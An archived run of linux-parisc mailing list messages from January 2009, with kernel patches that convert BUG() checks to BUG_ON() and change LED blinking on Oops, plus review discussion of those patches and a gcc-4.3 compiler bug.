Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751321AbZAFGQM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 01:16:12 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:48276 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751311AbZAFGQL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 01:16:11 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 9D0F365854;
	Tue,  6 Jan 2009 06:16:10 +0000 (UTC)
User-Agent: KMail/1.10.3 (Linux/2.6.28; KDE/4.1.3; x86_64; ; )
In-Reply-To: <20090106044058.7E85C4F9D@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1149>

--nextPart1694592.DP27eyaurX
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Monday 05 January 2009 23:40:57 John David Anglin wrote:
> > On Sun, 4 Jan 2009 18:42:02 -0500 (EST) John David Anglin wrote:
> > > Would you please try this.
> >
> > It did work too.
>
> I installed the patch on the gcc trunk (4.4).  However, there are still
> issues.  The patch didn't fix the -O0 -fdelayed-branch error.  I have
> traced this to a middle-end bug:

thanks a lot for looking into this.  do you plan on adding the patch to the=
=20
4.3 branch as well ?
=2Dmike

--nextPart1694592.DP27eyaurX
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iQIcBAABAgAGBQJJYvcpAAoJEEFjO5/oN/WBo0IP+QHfQBPmboZzFnTHCqg/B4yV
mJKx+O2hF9yqSPsdDfzcqTY00xrzVDSdpAe82lB2QExQJhyOM3KCoqIN68IPxMXr
MgP5SXQO/zAb9IwWb6+MchE+pRt6NLvOV0VBmCGpF+5xhj0MTGVuqnYvF7vF7LkE
EP0V6c2m53MDcIROU16ZQsr5RcxBVNNyAHAmkh29uPH9Kic3lteluWjsKw3mIsHP
JW/x0wi8+w5f3iSokCXU/5v242uxAt3d9w7oRn1gW5EbzTDFphK+f5/y+ENKX5M3
hezT2zeoMO/wrFKmWUP1Hrz9LGsZyZiTKkrKvyrYyqoWYJN8M2G6d3HqKlJ6Re5q
XmiU2Gf2kfCvG6aMnjQwp7wD85zWCqdn8SL+Bsol6kdVO2u1gTqtInj57b1Tu8Ww
8/p3gFA2ASv61I0w83WiUtSDhccQ9BWcLjSLxE9lwv6LARzXryK1K+RL+xyTMez5
4dktLMA2PuSTL4FZsZK3O89Zje9MF24+yocUUQzd3iMIlvPMj8cEIRJSYDHIgUZf
/Jb+OQK7vr/dR1PzET5SOEUVs/rbQjATCzZ5OO5+Ml96UUzqJhXEAsmepG/5t0NR
1/WIVii82FFYbW0JFG/HW8I/NVyK2lBecp8LdnAFh2NIdL5rM3uTo9DSX2lp4ipQ
qsPLapkluusELmdUHC2S
=Es6z
-----END PGP SIGNATURE-----

--nextPart1694592.DP27eyaurX--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: BUG_ON() cleanup
Date: Tue, 06 Jan 2009 12:57:01 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <4963470D.1030101@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231243037 25218 80.91.229.12 (6 Jan 2009 11:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 11:57:17 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 12:58:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKAZk-00012M-9j
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 12:58:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751536AbZAFL5G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 06:57:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751552AbZAFL5G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 06:57:06 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46085 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751536AbZAFL5E (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 06:57:04 -0500
Original-Received: (qmail invoked by alias); 06 Jan 2009 11:57:01 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp034) with SMTP; 06 Jan 2009 12:57:01 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+7M5p/EPC7o3fMQZS0EVXASmaE/3zy01iY4YCoRG
	BF4+O0ASQWx44+
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1150>

- convert a few "if (xx) BUG();" to BUG_ON(xx)
- remove a few printk()s, as we get a backtrace with BUG_ON() anyway

Signed-off-by: Helge Deller <deller@gmx.de>

 kernel/cache.c   |    5 +----
 kernel/pci-dma.c |   22 ++++++----------------
 mm/init.c        |    6 ++----
 3 files changed, 9 insertions(+), 24 deletions(-)


diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 5259d8c..837530e 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -551,10 +551,7 @@ void flush_cache_range(struct vm_area_struct *vma,
 {
 	int sr3;
 
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}
+	BUG_ON(!vma->vm_mm->context);
 
 	sr3 = mfsp(3);
 	if (vma->vm_mm->context == sr3) {
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index ccd61b9..7fae3a8 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -447,10 +447,7 @@ static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vad
 
 static dma_addr_t pa11_dma_map_single(struct device *dev, void *addr, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE) {
-		printk(KERN_ERR "pa11_dma_map_single(PCI_DMA_NONE) called by %p\n", __builtin_return_address(0));
-		BUG();
-	}
+	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) addr, size);
 	return virt_to_phys(addr);
@@ -458,10 +455,7 @@ static dma_addr_t pa11_dma_map_single(struct device *dev, void *addr, size_t siz
 
 static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE) {
-		printk(KERN_ERR "pa11_dma_unmap_single(PCI_DMA_NONE) called by %p\n", __builtin_return_address(0));
-		BUG();
-	}
+	BUG_ON(direction == DMA_NONE);
 
 	if (direction == DMA_TO_DEVICE)
 	    return;
@@ -480,8 +474,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 {
 	int i;
 
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	for (i = 0; i < nents; i++, sglist++ ) {
 		unsigned long vaddr = sg_virt_addr(sglist);
@@ -496,8 +489,7 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 {
 	int i;
 
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	if (direction == DMA_TO_DEVICE)
 	    return;
@@ -511,16 +503,14 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
 }
 
 static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
-	if (direction == DMA_NONE)
-	    BUG();
+	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
 }
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 7c155c2..9d704d9 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -304,10 +304,8 @@ static void __init setup_bootmem(void)
 	 */
 	max_low_pfn = max_pfn;
 
-	if ((bootmap_pfn - bootmap_start_pfn) != bootmap_pages) {
-		printk(KERN_WARNING "WARNING! bootmap sizing is messed up!\n");
-		BUG();
-	}
+	/* bootmap sizing messed up? */
+	BUG_ON((bootmap_pfn - bootmap_start_pfn) != bootmap_pages);
 
 	/* reserve PAGE0 pdc memory, kernel text/data/bss & bootmap */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Tue, 06 Jan 2009 14:23:13 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <49635B41.5060205@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231248207 9984 80.91.229.12 (6 Jan 2009 13:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 13:23:27 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 14:24:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKBv6-00010j-0W
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 14:24:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751093AbZAFNXN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 08:23:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751040AbZAFNXN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 08:23:13 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47592 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751093AbZAFNXN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 08:23:13 -0500
Original-Received: (qmail invoked by alias); 06 Jan 2009 13:23:10 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp015) with SMTP; 06 Jan 2009 14:23:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+L7u5QtTKLDv8rytMA1UN9Jh/UtzD7ogic4CVVNl
	R6dvCUpnJhUKXs
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1151>

- blink loadavg LEDs only (not all LEDs) twice a second on Oops
- cancel_rearming_delayed_workqueue() is obsolete, 
  use cancel_delayed_work_sync() instead

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index f9b1266..0cb4862 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -3,7 +3,7 @@
  *
  *      (c) Copyright 2000 Red Hat Software
  *      (c) Copyright 2000 Helge Deller <hdeller@redhat.com>
- *      (c) Copyright 2001-2005 Helge Deller <deller@gmx.de>
+ *      (c) Copyright 2001-2009 Helge Deller <deller@gmx.de>
  *      (c) Copyright 2001 Randolph Chung <tausq@debian.org>
  *
  *      This program is free software; you can redistribute it and/or modify
@@ -463,9 +463,13 @@ static void led_work_func (struct work_struct *unused)
 	if (likely(led_lanrxtx))  currentleds |= led_get_net_activity();
 	if (likely(led_diskio))   currentleds |= led_get_diskio_activity();
 
-	/* blink all LEDs twice a second if we got an Oops (HPMC) */
-	if (unlikely(oops_in_progress)) 
-		currentleds = (count_HZ<=(HZ/2)) ? 0 : 0xff;
+	/* blink loadavg LEDs twice per second if we got an Oops (HPMC) */
+	if (unlikely(oops_in_progress)) {
+		if (count_HZ <= (HZ/2))
+			currentleds &= ~(LED4|LED5|LED6|LED7);
+		else
+			currentleds |= (LED4|LED5|LED6|LED7);
+	}
 
 	if (currentleds != lastleds)
 	{
@@ -511,7 +515,7 @@ static int led_halt(struct notifier_block *nb, unsigned long event, void *buf)
 	
 	/* Cancel the work item and delete the queue */
 	if (led_wq) {
-		cancel_rearming_delayed_workqueue(led_wq, &led_task);
+		cancel_delayed_work_sync(&led_task);
 		destroy_workqueue(led_wq);
 		led_wq = NULL;
 	}
@@ -630,7 +634,7 @@ int lcd_print( const char *str )
 	
 	/* temporarily disable the led work task */
 	if (led_wq)
-		cancel_rearming_delayed_workqueue(led_wq, &led_task);
+		cancel_delayed_work_sync(&led_task);
 
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Tue, 6 Jan 2009 09:35:13 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <20090106143514.55D094F19@hiauly1.hia.nrc.ca>
References: <200901060116.09772.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231252525 25545 80.91.229.12 (6 Jan 2009 14:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 14:35:25 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, linux-parisc@vger.kernel.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 15:36:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKD2o-000877-Bm
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 15:36:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751695AbZAFOfQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 09:35:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751947AbZAFOfQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 09:35:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2238 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751695AbZAFOfP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 09:35:15 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 55D094F19; Tue,  6 Jan 2009 09:35:14 -0500 (EST)
In-Reply-To: <200901060116.09772.vapier@gentoo.org> from "Mike Frysinger" at Jan 6, 2009 01:16:08 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1152>

> do you plan on adding the patch to the 4.3 branch as well ?

Yes, but I want to study why this branch sequence is actually
being used in this situation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: BUG_ON() cleanup
Date: Tue, 06 Jan 2009 09:20:33 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <1231255233.7090.5.camel@localhost.localdomain>
References: <4963470D.1030101@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231255254 3690 80.91.229.12 (6 Jan 2009 15:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 15:20:54 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 16:22:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKDkg-0008Dv-Ta
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 16:21:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750950AbZAFPUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 10:20:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751883AbZAFPUg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 10:20:36 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:50975 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750950AbZAFPUg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 10:20:36 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id C5DD897A4;
	Tue,  6 Jan 2009 09:20:34 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id oRNBzxZ3h0HG; Tue,  6 Jan 2009 09:20:33 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 726558144;
	Tue,  6 Jan 2009 09:20:33 -0600 (CST)
In-Reply-To: <4963470D.1030101@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1153
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1153>

On Tue, 2009-01-06 at 12:57 +0100, Helge Deller wrote:
> - convert a few "if (xx) BUG();" to BUG_ON(xx)

This is fine

> - remove a few printk()s, as we get a backtrace with BUG_ON() anyway

This is less helpful.  Each of the printks explains why the bug
triggers.  In theory you can work this out from the BUG_ON line number,
but *only* if your source files match those of the reporter, which isn't
the case in an annoyingly large number of bug reports ... speaking as
someone who seems to get to diagnose large numbers of bugs, it makes my
life harder.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Tue, 6 Jan 2009 16:28:42 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com>
References: <49635B41.5060205@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231255749 5447 80.91.229.12 (6 Jan 2009 15:29:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 15:29:09 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 16:30:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKDsZ-0002a2-4U
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 16:30:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751448AbZAFP2o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 10:28:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751403AbZAFP2o
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 10:28:44 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.28]:36403 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751308AbZAFP2n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 10:28:43 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so2489100yxm.1
        for <linux-parisc@vger.kernel.org>; Tue, 06 Jan 2009 07:28:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=iE4ADZ/rGnhKH6TEek/unbIrPb2LyevgPJDXbmBaGZc=;
        b=IjRnv+pt0t2tWoJfNyv5XtjK72IymNTv9wxS9AJS7FvRT19Ke2r0/llXOFaVf082a2
         Roy5gFwlXH67C3OZCTfXW/bVVpBz1C/kLDGHydBTNrj6THnPRufMTgRpBYui+sVEE5gq
         oukWIKrly7Y/ezvBXx/mJ0+ZZzY+pWtWnfTKg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=iCnRy01rHkNj6094IRKek20Nedb7opa4djiB8d427Nhivq5SJOspwVJtVcXPM76zdh
         CEhjoK5nU3SQAOJap0kbiekHegW0ZhyYhaBxqePGB03TTVtbzaan24K96kljX8HBccGU
         m+IOMjizoIRgHJN02ql+0KRZd9RuTkAeOtIZU=
Original-Received: by 10.90.71.15 with SMTP id t15mr10225801aga.76.1231255722228;
        Tue, 06 Jan 2009 07:28:42 -0800 (PST)
Original-Received: by 10.90.51.10 with HTTP; Tue, 6 Jan 2009 07:28:42 -0800 (PST)
In-Reply-To: <49635B41.5060205@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: e8d5a1d03033392b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1154>

On Tue, Jan 6, 2009 at 2:23 PM, Helge Deller <deller@gmx.de> wrote:
> - blink loadavg LEDs only (not all LEDs) twice a second on Oops

Just out of curiosity, why wouldn't you want to have all leds blinking
on something as serious as an Oops? I kind of liked to clearly see
when something went wrong...

Cheers

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Tue, 06 Jan 2009 16:40:14 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <49637B5E.7010103@gmx.de>
References: <49635B41.5060205@gmx.de> <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231256426 7929 80.91.229.12 (6 Jan 2009 15:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 15:40:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 16:41:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKE3i-0006nw-AN
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 16:41:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750873AbZAFPkQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 10:40:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750988AbZAFPkP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 10:40:15 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56678 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750873AbZAFPkO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 10:40:14 -0500
